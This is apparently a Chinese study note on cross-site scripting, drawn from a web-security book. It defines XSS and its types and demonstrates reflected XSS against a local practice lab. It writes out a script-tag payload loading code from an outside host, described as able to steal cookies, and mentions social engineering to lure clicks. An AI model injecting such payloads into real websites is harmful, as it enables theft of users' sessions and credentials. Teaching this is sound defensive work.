本文参考资料:《Web安全深度剖析》张炳帅
- 跨站脚本漏洞:2017年OWASP TOP 7
- XSS又叫CSS(Cross Site Scripting),但是和指层叠样式表 (Cascading Style Sheets) 缩写重名,所以叫XSS
- XSS是指攻击者在网页中嵌入脚本代码,通常是JavaScript代码,当用户使用浏览器看这些已经被嵌入恶意代码的网页的时候,这些代码就会执行,进行攻击。
- XSS 属于客户端的攻击,但是中间体是服务器,并且可以当作入侵服务器的跳板:比如管理员执行了恶意代码,获取到管理员的Cookie,就可以绕过登录验证
XSS原理
- 原理就是嵌入恶意代码,然后等待被攻击方的执行
比如下面是一个url连接,我在url链接下输入script代码,就会有弹窗提醒:
弹窗只是一个验证过程:不仅仅是弹窗:如果我在其中加入一个链接,而这个链接刚好指向的是我要执行的JavaScript脚本,那么这个脚本就会在客户端进行执行了,比如我输入:
<script src="http://www.abc.com/a.php"></script>
如果这个代码注入到注入点,那么在用户浏览网页的时候,这个a.php就会被执行,具体功能根据a.php的内容,可以是窃取Cookie、可以是监控等等。
XSS类型:
XSS有三种类型:反射型、存储型和DOM型。
反射型XSS
- 反射型XSS也称为非持久型XSS,是最容易出现的XSS漏洞。
- 客户访问带有XSS的URL链接——服务器端接收数据处理——把有XSS代码的数据发送到浏览器——浏览器解析这段XSS代码——造成XSS漏洞。这个过程就像反射,所以叫反射型XSS。
还是刚才的靶场,刚才靶场的url链接是:http://127.0.0.1/xsslabs/level1.php?name=test,在name的后面有一个test值,我们更改test值为XSS恶意代码就能够进行攻击:
http://127.0.0.1/xsslabs/level1.php?name=<script>.......</script>
这种招式看似好像非得用户点击我们篡改的URL才能达成攻击效果,也确实是这样,但是不懂XSS攻击的人居多,利用一些社会工程学就可以执行XSS代码。<